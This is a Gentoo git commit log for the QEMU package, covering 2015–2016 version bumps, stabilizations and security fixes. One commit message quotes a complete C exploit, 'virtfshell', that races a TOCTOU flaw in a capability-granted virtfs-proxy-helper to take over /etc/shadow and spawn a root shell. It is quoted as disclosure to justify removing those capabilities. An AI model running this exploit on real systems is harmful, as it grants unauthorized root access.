summaryrefslogtreecommitdiff
Commit message (Collapse)AuthorAgeFilesLines
* app-emulation/qemu: fix static linking errors w/curl[ssl,curl_ssl_openssl]Mike Frysinger2016-06-063-2/+65
|
* app-emulation/qemu: depend on jpeg SLOT=0 for buildingMike Frysinger2016-06-065-5/+5
|
* app-emulation/qemu: use #!/sbin/openrc-run instead of #!/sbin/runscriptAustin English2016-05-181-1/+1
|
* app-emulation/qemu: workaround breakage in xfs/linux headers #577810Mike Frysinger2016-05-172-0/+83
| | | | | | Add upstream patch to workaround some combinations of xfsprogs & linux headers so we don't have to worry about stable breakage anymore. This fix is already in upstream & unstable versions.
* app-emulation/qemu: version bump to 2.6.0 #583212Mike Frysinger2016-05-173-12/+677
|
* app-emulation/qemu: use subslots w/nettle & gnutls #582836Mike Frysinger2016-05-122-4/+4
|
* app-misc/qemu: version bump & bug fixes #579614 #580040 #580426Mike Frysinger2016-04-235-0/+857
|
* app-emulation/qemu: mention /dev/kvm perm updates in the readme/elog #580436Mike Frysinger2016-04-192-8/+14
|
* app-emulation/qemu: x86 stable wrt bug #573816Agostino Sarubbo2016-03-291-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #573816Agostino Sarubbo2016-03-291-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: add few more upstream fixes #573816 #578142Mike Frysinger2016-03-283-0/+767
|
* app-emulation/qemu: use l10n.eclass to respect LINGUAS #577814Mike Frysinger2016-03-282-8/+58
|
* app-emulation/qemu: security cleanupSergey Popov2016-03-251-661/+0
| | | | | | Gentoo-Bug: 576420 Package-Manager: portage-2.2.28
* app-emulation/qemu: x86 stable wrt bug #578044Agostino Sarubbo2016-03-241-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #578044Agostino Sarubbo2016-03-241-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: backport various upstream fixesMike Frysinger2016-03-2316-0/+1863
|
* app-emulation/qemu: fix arm depends for libseccompDoug Goldstein2016-03-151-0/+1
| | | | | | | arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: keywording arm64Matthew Thode2016-02-281-1/+1
| | | | | | merged on X-C1 Package-Manager: portage-2.2.26
* app-emulation/qemu: fix arm64 dependenciesDoug Goldstein2016-02-271-1/+4
| | | | | | | | | arm/arm64 have some dependencies which are higher than other platforms. Unfortunately the dependencies are not stable on arm but this package is so arm updates will come later. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: restore USE=gnutls use desc for side-effectsRobin H. Johnson2016-02-191-0/+3
| | | | | | | | commit ea4d1e1fcc just removed the USE=tls, rather than updating it for USE=gnutls. Per the description, it has side-effects of enabling enabling WebSocket & disk quorum features. Package-Manager: portage-2.2.27
* app-emulation/qemu: Remove unneeded useflag description from metadata.xmlPatrick Lauer2016-02-151-3/+0
| | | | Package-Manager: portage-2.2.27
* app-emulation/qemu: remove vulnerable versionsDoug Goldstein2016-02-1513-1804/+0
| | | | | Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: x86 stable wrt bug #571566Agostino Sarubbo2016-01-261-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #571566Agostino Sarubbo2016-01-261-1/+1
| | | | | | Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* Set appropriate maintainer types in metadata.xml (GLEP 67)Michał Górny2016-01-241-1/+1
|
* Replace all herds with appropriate projects (GLEP 67)Michał Górny2016-01-241-1/+4
| | | | | Replace all uses of herd with appropriate project maintainers, or no maintainers in case of herds requested to be disbanded.
* app-emulation/qemu: add upstream fixes for #567868 #568246 #570110 #570988 ↵Mike Frysinger2016-01-176-0/+942
| | | | #571566
* app-emulation/qemu: disable libgcrypt usage #568856Mike Frysinger2015-12-202-0/+12
|
* app-emulation/qemu: drop versions <2.4.1-r2Mike Frysinger2015-12-1738-9482/+0
|
* app-emulation/qemu: version bump to 2.5.0Mike Frysinger2015-12-172-0/+646
|
* app-emulation/qemu: x86 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: add upstream fixes for #567828 #568214Mike Frysinger2015-12-153-0/+750
|
* app-emulation/qemu: drop virtfs-proxy-helper fcaps from all versions #568226Mike Frysinger2015-12-159-36/+0
|
* app-emulation/qemu: critical security fixJason A. Donenfeld2015-12-144-0/+2495
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The virtfs-proxy-helper program is not a safe binary to give caps. The following exploit code demonstrates the vulnerability: ~=~=~=~= snip ~=~=~=~= /* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Beginning race loop * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
* app-emulation/qemu: switch to new libcacard release #561814Mike Frysinger2015-12-071-1/+1
|
* app-emulation/qemu: add USE=virgl for Virgil 3d GPU #566994Mike Frysinger2015-12-072-1/+4
|
* app-emulation/qemu: add upstream security fixes #566792 #567144Mike Frysinger2015-12-074-0/+795
|
* app-emulation/qemu: utilize xen-tools sub-slotDoug Goldstein2015-12-068-8/+8
| | | | | | | app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: update cflags patch #565866Mike Frysinger2015-11-222-1/+14
|
* app-emulation/qemu: force C locale for sorting to workaround glibc bug #564936Mike Frysinger2015-11-075-10/+15
|
* app-emulation/qemu: version bump to 2.4.1 #564990Mike Frysinger2015-11-062-0/+642
|
* app-emulation/qemu: update qmp doc paths #564186Mike Frysinger2015-10-261-2/+2
|
* app-emulation/qemu: Backport a few MIPS patches. Bug #563162Markos Chandras2015-10-155-0/+888
| | | | Package-Manager: portage-2.2.23
* app-emulation/qemu: version bump to 2.4.0.1 #562594Mike Frysinger2015-10-096-0/+949
| | | | This also includes security fixes for #560760 #560550 #560422.
* app-emulation/qemu: update smartcard configure flag #561670Michal Privoznik2015-09-291-1/+1
|
* app-emulation/qemu: add tilegx linux-user target #561322Mike Frysinger2015-09-261-1/+1
|
* app-emulation/qemu: switch USE=tls to USE=gnutls #560574Mike Frysinger2015-09-161-4/+10
| | | | | | | | | | Upstream no longer has dedicated configuration options for tls settings. Instead, it's all run through the gnutls feature test. We require newer versions of gnutls because supporting older ones gets a bit messy -- qemu might leverage libgcrypt or nettle depending on how the gnutls package was built. By forcing the latest version, we can simplify and only require nettle. This isn't a big deal as it's already stable.
* app-emulation/qemu: require mesa[egl] tooMike Frysinger2015-09-112-2/+2
| | | | | Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl layer of mesa a requirement.
* app-emulation/qemu: x86 stable wrt bug #558416Agostino Sarubbo2015-09-081-1/+1
| | | | | Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="x86"